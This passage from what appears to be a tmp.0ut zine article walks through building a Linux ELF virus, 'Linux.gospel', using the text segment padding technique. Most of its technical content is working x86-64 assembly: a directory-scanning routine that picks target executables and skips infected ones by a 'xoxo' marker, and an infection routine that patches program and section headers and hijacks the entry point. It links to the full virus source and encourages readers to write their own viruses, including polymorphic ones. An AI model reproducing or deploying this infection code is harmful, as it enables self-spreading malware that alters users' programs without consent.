; *Note: we want to confirm that a candidate file is a regular file and an
; executable file, so that we don't waste time checking a dirent that corresponds
; to a directory. If you want to confirm that a target is a regular file, you
; could check whether curr_d_entry->d_type == DT_REG but the d_type field is
; technically not a required field in a dirent struct and of course it wasn't
; present on my machine.
;
; Another option is to check a field in the fstat structure (after making an
; fstat syscall of course): st_mode. We can query the st_mode field in the
; returned stat struct to determine if the file we are currently examining is
; a regular file; our check will pass when the st_mode field satisfies the
; requirements of S_ISREG.
;
; But not so fast! If you're coding this in asm, then you'll realize that
; S_ISREG is actually a macro, which expands to be:
; S_ISREG equ ((stat.st_mode & S_IFMT) == S_IFREG)
; where:
; S_IFREG dq 0x0100000 ;regular file
; S_IFMT dq 0x0170000
;
; Eventually you might just be tired of trying to define a macro in NASM that
; performs bitwise operations on integers of varying widths and say, "fuck it, we ball."
;
; Which here translates to: just perform checks on the Ehdr.e_type.
; If Ehdr.e_type == 0x0200 (DYN) or 0x0300 (EXEC) then this check passes.
; If all of the above conditions hold, then call the infection routine
; Otherwise, continue looping through remaining files in the directory
;
;***************************************************************
```
Here is the complete check_file routine from gospel.asm:
```
check_file:
push rcx
check_elf:
push rcx ;preserve rcx before syscall
lea rdi, [rcx + r14 + 618] ;linuxdirent entry filename (linuxdirent.d_nameq) in rdi
mov rsi, 0x2 ;flags - read/write (OPEN_RDWR) in rsi
xor rdx, rdx ;mode - 0
mov rax, 0x2 ;SYS_OPEN ==0x2
syscall
pop rcx ;restore rcx for dirent offset
cmp rax, 0
jb checknext
mov r9, rax
push r9
mov r8, rax
mov [r14 + 144], rax
xor r12, r12
.copy_filename:
lea rdi, [r14 + 200]
lea rsi, [rcx + r14 + 618]
mov qword [rdi], rsi
xor rax, rax
xor r12, r12
jmp get_vx_name
check_vx_name:
pop rsi
lea rdi, [r14 + 200]
cld
.filenameloop:
mov byte al, [rsi]
cmp byte [rdi], al
jne get_filestat
inc r12
inc rdi
inc rsi
cmp r12, 5
jnz .filenameloop
jmp checknext
get_vx_name:
call check_vx_name
vxname: db "gospel",0
get_filestat:
lea rsi, [r14] ;size for mmap == e_shoff + (e_shnum * e_shentsize)
mov rdi, r8 ;retrieve size from filestat struct with an fstat syscall
mov rax, 0x5 ;SYS_FSTAT
syscall
;*******************************************************************************
;void *mmap(void addr[.length], size_t length, int prot, int flags,
; int r14 + 416, off_t offset);
;*******************************************************************************
mmap_file:
xor rdi, rdi ;set RDI to NULL
mov rsi, [r14 + 48] ;filestat.st_size
mov rdx, 0x3 ; (PROT_READ | PROT_WRITE)
; fd is already in r8
mov r10, 0x2 ; MAP_PRIVATE
xor r9, r9 ; offset of 0 within file
mov rax, 0x9 ;SYS_MMAP
syscall
cmp rax, 0
jb checknext
pop r9
mov r8, rax
mov [r14 + 800], rax ;rax contains addr of mmap'd host ELF
push rax
close_curr_file:
mov rdi, r9
mov rax, 0x3 ;SYS_CLOSE
syscall
pop rax
test rax, rax
js checknext
;*******************************************************************************
;ELF header vals
;ETYPE_DYN equ 0x3
;ETYPE_EXEC equ 0x2
;*******************************************************************************
check_elf_header_etype:
cmp word [rax + 16], 0x0002 ;elf_ehdr.e_type
je check_elf_header_magic_bytes
cmp word [rax + 16], 0x0003 ;elf_ehdr.e_type
je check_elf_header_magic_bytes
jnz checknext
check_elf_header_magic_bytes:
cmp dword [rax], 0x464c457f ;elf_ehdr.e_ident
jnz checknext
;*******************************************************************************
;ELF header vals
;ELFCLASS64 equ 0x2
;*******************************************************************************
check_elf_header_64bit:
cmp byte [rax + 4], 0x2
jne checknext
;*******************************************************************************
;ELF header vals
;ELFX8664 equ 0x3e
;*******************************************************************************
check_elf_header_arch:
cmp byte [rax + 18], 0x3e ;elf_ehdr.e_machine
jne checknext
verifie_pas_de_vx_sig:
lea r13, [rax + 24] ;elf_ehdr.e_entry
cmp dword [r13 + 2], 0x786f786f
je checknext
verifie_deja_infecte:
cmp dword [rax + 9], 0x786f786f ;elf_ehdr.ei_padding
je checknext
ready2infect:
call infect
jmp painting
checknext:
lea rdi, [r14 + 416]
mov rsi, [r14 + 48] ;filestat.st_size
mov rax, 0xB ;SYS_MUNMAP
syscall
pop rcx
add cx, [rcx + r14 + 616] ; linuxdirent.d_reclen
cmp qword rcx, [r14 + 500]
jl check_file
```
At this point we have a clear understanding of all of the components that we
need in order to whip up a PoC for the text segment padding infection technique
and apply what we've learned. Let's recap our vx requirements here:
1. An implementation of the infection algorithm
2. A routine for validating that a candidate file satisfies a clearly defined
set of requirements for a valid ELF target
3. A routine for finding candidate files on the system that we will infect with
our virus payload
4. Two separate work areas — one work area for parsing various components in our
host ELF file and one "staging" area (temp file) where we will incrementally
build up our final infected host+virus ELF.
5. Clearly defined data structures to target and use/manipulate
6. A siq payload
7. Misc.: error handling and all the other boring + nec stuff. Implement at your
leisure (or fail to implement at your peril)
Item #6 is up to the discretion of the vx writer. Of course, the implementation
of any of these items is up to the discretion of the vx writer. Do whatever you
want. I told you, I'll just be over here, stitching up monsters like a good
delinquent. At the end of the day, I just hope your vx isn't boring.
Item #6 in my PoC (gospel) draws a piece of ASCII art to the screen. For peak
spooky daemonic malware witch vibes, I used a Python script to transform one of
my pen&ink drawings of a skull into a scaled down piece of ASCII art. The virus
payload of gospel displays this ASCII art skull drawing and then jumps to the
saved original entry point of the host ELF.
Part 2c: Infection algorithm implementation \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
We have arrived at the juiciest part of our virus: the infection routine.
As described above, the infection routine will consist mainly of two parts: a
PHdr patching routine and an SHdr patching routine.
Below is the infection routine from gospel:
```
;***************************************************************
gospel infection routine
;***************************************************************
infect:
mov r13, [r14 + 800] ;location on stack for saved address of
;mmap'd host ELF
mov r12, [r13 + 32] ;offset of host ELF Program Header Table
mov r15, [r13 + 40] ;offset of host ELF Section Header Table
mov r8, [r13 + 24] ;offset of host ELF original entry point
mov dword [r13 + 9], 0x786f786f
;infection marker string "xoxo" stored in elf_ehdr.e_padding
;***************************************************************
; Update program headers of infected ELF
;
; e_phentsize == size of program header entry
; size of program header table == e_phnum * e_phentsize
; vx_offset = offset to start of vx code after insertion into host
; vx_offset will replace e_entry in ELF header as the
; new entry point in infected ELF
;
; r13 contains address of mmap'ed host ELF
; mov r13, [r14 + 800]
; location on stack for saved address of mmap'd host ELF
; r12 contains *offset* within mmap'ed file to PHdr table
; mov r12, [r13 + 32] ;offset of host ELF Program Header Table
; we need to increment r12 on each iteration (
; (where # of iterations == elf_ehdr.e_phnum)
; we also need to save the original entry point (OEP) of
; the host ELF for the final jmp at the end of our vx code
;
; For reference, the PHdr patching routine accesses fields in each
; entry of the PHdr table using the following schema:
;[r14 + 800] + elf_ehdr.e_phoff + phdr_field_offset
; We can simplify it thus:
; r13 + r12 + 0 struc elf_phdr
; r13 + r12 + 0 .p_type resd 1 ;uint32_t
; r13 + r12 + 4 .p_flags resd 1 ;uint32_t
; r13 + r12 + 8 .p_offset resq 1 ;Elf64_Off
; r13 + r12 + 16 .p_vaddr resq 1 ;Elf64_Addr
; r13 + r12 + 24 .p_paddr resq 1 ;Elf64_Addr
; r13 + r12 + 32 .p_filesz resq 1 ;uint64_t
; r13 + r12 + 40 .p_memsz resq 1 ;uint64_t
; r13 + r12 + 48 .p_align resq 1 ;uint64_t
; r13 + r12 + 56 endstruc
;
;
;PT_LOAD equ 0x1
;PFLAGS_RX equ 0x5
;PFLAGS_RW equ 0x6
;***************************************************************
xor rcx, rcx
xor r11, r11
mov word cx, [r13 + 56] ;elf_ehdr.e_phnum
check_phdrs:
.phdr_loop:
push rcx
;check elf_phdr.p_type offset == type PT_LOAD
cmp word [r13 + r12], 0x1
jne .mod_subsequent_phdr
.mod_curr_header:
;check elf_phdr.p_flags == PFLAG_R | PFLAG_X
cmp dword [r13 + r12 + 4], 0x5
je .mod_phdr_text_segment
jmp .mod_subsequent_phdr
.mod_phdr_text_segment:
; entry virus addr (evaddr)=
; phdr->p_vaddr + phdr->p_filesz
; save evaddr to (r14 + 400)
; load address of OEP from ELF header
; new entry point of infected file = evaddr
; patch ELF header entry point to start of vx code
; vxoffset = elf_phdr.p_offset+elf_phdr.p_filesz
; save vxoffset to stack
; phdr.p_filesz += vlen+10(size of jmp to OEP)
; phdr.p_memsz += vlen+10(size of jmp to OEP)
mov r10, [r13 + r12 + 16] ;elf_phdr.p_vaddr
add r10, [r13 + r12 + 32] ;elf_phdr.p_filesz
mov qword [r14 + 400], r10
mov r11, qword [r13 + 24]
mov qword [r14 + 448], r11 ;save OEP to stack
mov qword [r13 + 24], r10
mov r10, [r13 + r12 + 8] ;elf_phdr.p_offset
add r10, [r13 + r12 + 32] ;elf_phdr.p_filesz
mov dword [r14 + 436], r10d
add qword [r13 + r12 + 32], vlen+12
add qword [r13 + r12 + 40], vlen+12
jmp .next_phdr
.mod_subsequent_phdr:
; load variable from stack corresponding to
; offset of next segment after .text in host ELF
; check if this variable has already been defined
; in a previous loop iteration
; (check if next_segment_offset == 0)
; otherwise, move offset of curr segment to that var
; because based on checks up to this point, we know
; that r11 contains offset of next segment after .text
; segment, in host ELF
;
xor r11, r11
mov r11d, [r14 + 436]
cmp r11d, 0
je .next_phdr
mov r10, [r13 + r12 + 8] ;elf_phdr.p_offset
cmp r10, qword [r14 + 400]
jl .next_phdr
add dword r10d, [PAGESIZE]
mov [r13 + r12 + 8], r10 ;elf_phdr.p_offset
xor r10, r10
mov r10, qword [r14 + 424]
cmp r10, 0
jne .next_phdr
mov qword [r14 + 424], r11
.next_phdr:
pop rcx
dec cx
;add elf_ehdr.e_phentsize to phdr offset in r12
add r12w, word [r13 + 54]
cmp cx, 0
jg .phdr_loop
mov dword [r14 + 432], r12d
;***************************************************************
; Now patch section headers of infected ELF:
; We will use a very similar schema as was used in the
; PHdr patching routine above for our SHdr patching routine,
; with a few modifications.
;
; r13 contains address of mmap'ed host ELF
; mov r13, [r14 + 800]
; location on stack for saved address returned from mmap syscall
; r15 contains *offset* within mmap'ed file to SHdr table
; mov r15, [r13 + 40] ;offset of host ELF Section Header Table
;
; we need to increment r15 on each iteration
; (where # of iterations == elf_ehdr.e_shnum)
; At the 0th iteration, r15 contains the offset of
; the 0th Section Header in the SHdr Table
;
; We can use our schema from our stack layout for computing
; offsets to different SHdr fields:
;[r14 + 800] + elf_ehdr.e_shoff + shdr_field_offset
; And simplify it thus:
;
; r13 + r15 + 0 struc elf_shdr
; r13 + r15 + 0 .sh_name resd 1 ; uint32_t
; r13 + r15 + 4 .sh_type resd 1 ; uint32_t
; r13 + r15 + 8 .sh_flags resq 1 ; uint64_t
; r13 + r15 + 16 .sh_addr resq 1 ; Elf64_Addr
; r13 + r15 + 24 .sh_offset resq 1 ; Elf64_Off
; r13 + r15 + 32 .sh_size resq 1 ; uint64_t
; r13 + r15 + 40 .sh_link resd 1 ; uint32_t
; r13 + r15 + 44 .sh_info resd 1 ; uint32_t
; r13 + r15 + 48 .sh_addralign resq 1 ; uint64_t
; r13 + r15 + 56 .sh_entsize resq 1 ; uint64_t
; r13 + r15 + 64 endstruc
;
;***************************************************************
xor r10, r10
xor r11, r11
xor rcx, rcx
mov word cx, [r13 + 60] ;elf_ehdr.e_shnum
check_shdrs:
.shdr_loop:
push rcx
mov r11, [r13 + r15 + 24] ;elf_shdr.sh_offset
cmp dword r11d, [r14 + 436]
jge .mod_subsequent_shdr
jl .check_for_last_text_shdr
.check_for_last_text_shdr:
mov r11, [r13 + r15 + 16] ;elf_shdr.sh_addr
add r11, qword [r13 + r15 + 32] ;elf_shdr.sh_size
cmp r11, qword [r14 + 400]
jne .next_shdr
.mod_last_text_section_shdr:
mov r10, [r13 + r15 + 32] ;elf_shdr.sh_size
add dword r10d, vlen
mov [r13 + r15 + 32], r10 ;elf_shdr.sh_size
jmp .next_shdr
.mod_subsequent_shdr:
mov r11, [r13 + r15 + 24] ;elf_shdr.sh_offset
add dword r11d, [PAGESIZE]
mov dword[r13 + r15 + 24],r11d ;elf_shdr.sh_offset
.next_shdr:
pop rcx
dec cx
;add elf_ehdr.e_shentsize to shdr offset in r15
add r15w, word [r13 + 58]
cmp cx, 0
jg .shdr_loop
;mov original elf_ehdr.e_shoff to r11
;and save original e_shoff to var on stack
mov r11, [r13 + 40] ;elf_ehdr.e_shoff
mov qword [r14 + 408], r11 ;original shoff
.patch_ehdr_shoff:
add dword r11d, [PAGESIZE]
mov qword [r13 + 40], r11 ;patch elf_ehdr.e_shoff
mov dword [r14 + 440], r11d
jmp frankenstein_elf
```
Part 2d: PoC \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
The accompanying PoC for this article is my implementation of the text segment
padding virus, written in x86-64 asm. It infects ELF x86-64 PIE executables in
the current working directory. The infected file will run the virus payload —
printing an ASCII art skull drawing to stdout — and then ret to the OEP and run
the host ELF code.
Source code: https://tmpout.sh/3/Linux.gospel.asm
Source code, as well as copies of the 29a archive references for this article,
are also available on the GitHub repo here:
https://github.com/ic3qu33n/gospel-for-a-new-epoch/tree/main
Part 2e: where's my polymorphism uwu ///////////////////////////////////////////
The main obstacle in turning the current version of Linux.gospel.asm into a
polymorphic virus is the permissions used for the .text segment in an ELF —
which will be mapped to a page with RX permissions but not RW permissions.
We won't be able to insert self-modifying code into this page without modifying
the permissions of the .text segment in the infected ELF. This would look
suspicious and that's not a cute look for us.
The RX page permissions of the mapped .text segment and its limitations for
storing/saving variables created some initial difficulty. In my PoC, the virus
needs to store variables which won't be defined prior to runtime. Without the
use of a .data or .bss segment, (which we want to avoid) we have to store all
variables on the stack.
A better option for writing a polymorphic virus is to use a segment with RW
permissions as a target region for injecting virus code. The .data segment is
a good candidate for this. A virus writer could even use another of Silvio's
techniques as a guide: the .data segment infection technique.
Perhaps if one were so inclined, they could write a virus that splits its
payload and combines the text segment padding infection technique with the
data segment infection technique. But that's a virus for another time.
Part 3: A squeeze of LiME //////////////////////////////////////////////////////
We have arrived at the penultimate section of our article. Congratulations for
making it this far. As a treat, in addition to your party favor (don't forget
your goodie bag with the Linux vx I wrote 4 u! Don't forget your hat or your
gloves! Do you want me to pack you a Tupperware with some leftovers? Of course
you do.) there's an extra special surprise just 4 u: a brief introduction to
early polymorphic and metamorphic Linux vx. This article series is titled
"u used to call me on my polymorphic shell phone" after all.
So, in the spirit of Drake sampling from early hip-hop artists of the late
'90s/early. 2000s, we will be sampling from Benny, the Mental Driller and
zhugejin and their works of the late '90s/early 2000s. I use the term "sampling"
here to draw an important distinction: just as the work of Ms. Lauryn Hill
stands on its own, deserves the time and attention of a dedicated listen and
will reward a listener who dives in after hearing a hook in "Nice for What"
(as anyone who has ever listened to "The Miseducation of Lauryn Hill" on loop
for months on end will tell you), so too do the works referenced in this article
merit reading in their entirety. This article "samples" these works to provide
an introduction, but is by no means an exhaustive or detailed examination of the
works themselves. The reader is encouraged to explore these works and read them
in full. The reader is also encouraged to listen to "The Miseducation of Lauryn
Hill."
//
The works we will be digging into that exemplify two different types of
polymorphic virus writing are the following:
[10] "Linux Mutation Engine (source code) [LiME] Version: 0.2.0," written by
zhugejin at Taipei, Taiwan; Date: 2000/10/10,
Last update: 2001/02/28, 29A issue #6
[11] "Win32/Linux.Winux", by Benny/29A, 29A issue #6
[12] "Metamorphism in practice or How I made MetaPHOR and what I've learnt",
by The Mental Driller/29A, 29A issue #6
While [12] is not strictly a Linux vx article, the flexibility of the code (it's
a metamorphic engine after all) lends itself to what the author describes as a
"Multi-platform cross-infector." To flesh out this term a bit more, here's the
Mental Driller's explication[re: "Multi-platform cross-infector."], "That's
something that I didn't do on the release 1.0 of MetaPHOR because I was short
of time to finish it for 29A#6, but it's quite easy (in fact, we have seen the
proof of concept in Benny's Winux). We only have to call one API function or
another, depending on the system we are running, and have a function to attach
our mutated code to a PE or to an ELF."
The careful reader will note that the third article deals with *metamorphism*
and not *polymorphism.* This isn't a hair-splitting distinction — it is an
important and marked one. However, in order to understand metamorphism, we must
build up to it with polymorphism.
So let us begin there. And then we will work our way up to metamorphism...
[To be continued in the next tmp.0ut...]
A toast to new beginnings //////////////////////////////////////////////////////
It's time for us to put our vx cadavers back in their cases and into the
freezer. We've completed our study for the day and we want to keep our virus
bodies well-preserved. We'll return to more in our next da Vinci vx morgue
excursion. I hope you've been taking notes this whole time. There's no
guarantee that I'll be there to guide you the next time you feel like doing
studies of ELF internals.
Alright, fine. I'll leave you with some techniques I use to find my way when
things go awry writing vx. There's lots of things that go bump in the night
out there in spooky scary ~*cyberspace*~ so it's best you make friends with
your daemons now:
Whether you're searching for a roadmap to human anatomical structures or a
roadmap to a beautiful virus, sometimes the only way forward is to create your
own.
Along the way, there will be broken bones and covert operations undertaken in
the dead of night. And as you dear reader, dust yourself off once again, after
making a foray of missteps and pitfalls, and you're feeling lost and
adrift between the mausoleum and the obelisk, wondering if it's worth it to
continue trudging forward in the mud, I offer you this: look for the footsteps
of those who traversed these paths before you, and let them be your guide,
follow them with an open mind and your conviction for what you set out to find.
The knowledge and insight of the early Unix/Linux vx writers is evergreen and
can lead you to breakthroughs and new ideas in your own work.
A virus, like any work of art, has power both to wreak havoc and to be goddamn
beautiful; a virus can be horrifying or clever or charming or sinister or
inspiring or thought-provoking or all of the above, but, above all else, a virus
should *never* be boring.
Party favors ///////////////////////////////////////////////////////////////////
Enclosed in this GitHub repo is a playlist to accompany this article, itself
aptly titled "gospel for a new epoch." This playlist is part of a collaborative
ongoing project by myself and Travis Goodspeed. Travis has been kind enough to
make the repo public so that you too can enjoy the delights of spiritual tunes
for the punk rock ne'er do well and the cosmically deranged.
Listen to these tracks while you're writing your own Linux vx:
https://github.com/travisgoodspeed/lighthouselobsters/tree/master/gospel
k that's all for now
luv u all so much
xoxo
ic3qu33n
Full Source: Linux.gospel.asm
Greetz /////////////////////////////////////////////////////////////////////////
Everyone on the tmp.0ut team for the support/feedback/debugging sessions.
richinseattle, elfmaster, TMZ, B3nny, MalcolmVX, and everyone on the vc
debugging calls for being rad 3
Extra special shoutouts and thank you to netspooky and sblip for all of their
support and feedback on this project!
Travis Goodspeed
Silvio (Silvio if you read this then, hello! I love your work!)
jduck, botvx, mrphrazer, lauriewired
0daysimpson, zeta, dnz, srsns, xcellerator, bane, h0wdy, gren
Aaron DeVera
Everyone in the slop pit/the Haunted Computer Club and all my homies near + far
ilysm xoxoxoxoxoxxo
References /////////////////////////////////////////////////////////////////////
[1] "Unix Viruses," Silvio Cesare, https://web.archive.org/web/20020604060624/http://www.big.net.au/~silvio/unix-viruses.txt
[2] "UNIX ELF Parasites and virus," Silvio Cesare, October 1998 https://ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuunix02.htm
[3 — same as 1, different URL] "UNIX Viruses" Silvio Cesare, October 1998 https://ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuunix01.htm
[4] "The VIT(Vit.4096) Virus," Silvio Cesare, October 1998 https://web.archive.org/web/20020207080316/http://www.big.net.au/~silvio/vit.html
[4a]"VIT Virus: VIT description," Silvio Cesare, October 1998 https://web.archive.org/web/20020228014729/http://www.big.net.au/~silvio/vit.txt
[4b]"VIT Virus: VIT source," Silvio Cesare, October 1998, https://web.archive.org/web/20020207080316/http://www.big.net.au/~silvio/vit.html (navigate to it from this page; I'm not putting the link to the tarball here so that no one accidentally downloads it. yw.)
[5] "Shared Library Call Redirection via ELF PLT Infection", Silvio Cesare, Phrack, Volume 0xa Issue 0x38, 05.01.2000, 0x07[0x10], http://phrack.org/issues/56/7.html#article
[6] "Getdents.old.att" Github, sblip https://gist.github.com/jamichaels/fd6bca66879da9ec0efe
[7] "ASM Tutorial for Linux n' ELF file format", BY LiTtLe VxW, 29A issue #8
[8] "Linux virus writing tutorial" [v1.0 at xx/12/99], by mandragore, from Feathered Serpents, 29A issue #4
[9] "Half virus: Linux.A.443," Pavel Pech (aka TheKing1980), 03/02/2002, 29A issue #6
[10] "Linux Mutation Engine (source code) [LiME] Version: 0.2.0," written by zhugejin at Taipei, Taiwan; Date: 2000/10/10, Last update: 2001/02/28, 29A issue #6
[11] "Win32/Linux.Winux", by Benny/29A, 29A issue #6
[12] "Metamorphism in practice or How I made MetaPHOR and what I've learnt", by The Mental Driller/29A, 29A issue #6
[13] "Skeksi virus," elfmaster https://github.com/elfmaster/skeksi_virus
[14] "Linux.Nasty.asm," TMZ, 2021, tmp.0ut, volume 1 https://tmpout.sh/1/Linux.Nasty.asm
[15] "Linux.Nasty: Assembly x64 ELF virus," TMZ, 2021, https://www.guitmz.com/linux-nasty-elf-virus/
[16] Return To Original Entry Point Despite PIE", s0lden, tmp.0ut, volume 1, https://tmpout.sh/1/11.html
[17] S01den and Sblip, tmp.0ut, volume 1, https://tmpout.sh/1/Linux.Kropotkine.asm
[18] anansi, sad0p, https://github.com/sad0p/anansi
[19] tmp.0ut "Awesome ELF", https://github.com/tmpout/awesome-elf
Misc. Resources/Further Reading ////////////////////////////////////////////////
Devhell Labs and Phrack Magazine present
"The Cerberus ELF Interface,"
mayhem
Phrack Inc., Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x0f
http://phrack.org/issues/61/8.html
"IA32 Advanced Function Hooking,"
mayhem
December 08th 2001, Phrack Inc. Volume 0x0b, Issue 0x3a, Phile #0x08 of 0x0e
http://phrack.org/issues/58/8.html#article
The Xcellerator
Linux Rootkits: Part 2
https://xcellerator.github.io/posts/linux_rootkits_02/
"Manually Creating an ELF Executable"
https://web.archive.org/web/20140130143820/http://robinhoksbergen.com/papers/howto_elf.html
linux-re-101
michalmalik
https://github.com/michalmalik/linux-re-101/blob/master/README.md
Misc references on various asm programming techniques //////////////////////////
TMZ's syscall pages:
"x64," syscall.sh, TMZ
https://x64.syscall.sh/
Linux getdents man page:
https://man7.org/linux/man-pages/man2/getdents.2.html
Reading dir entries
"readdir() — Read an entry from a directory"
IBM
https://www.ibm.com/docs/en/zos/2.3.0?topic=functions-readdir-read-entry-from-directory
Misc references on using structs in asm ////////////////////////////////////////
"NASM - Chapter 5: Standard macros"
https://www.nasm.us/xdoc/2.15/html/nasmdoc5.html
"About declaring and initializing a structure in Fasm assembly"
https://stackoverflow.com/questions/41929091/about-declaring-and-initializing-a-structure-in-fasm-assembly
"Pointer for the first struct member list in nasm assembly"
https://stackoverflow.com/questions/23299846/pointer-for-the-first-struct-member-list-in-nasm-assembly
"Nasm - access struct elements by value and by address
https://stackoverflow.com/questions/57540758/nasm-access-struct-elements-by-value-and-by-address
"Accessing struc members NASM Assembly"
https://stackoverflow.com/questions/70477162/accessing-struc-members-nasm-assembly
"reading file's content and printing it to stdout in assembly x64"
https://stackoverflow.com/questions/64498923/reading-files-content-and-printing-it-to-stdout-in-assembly-x64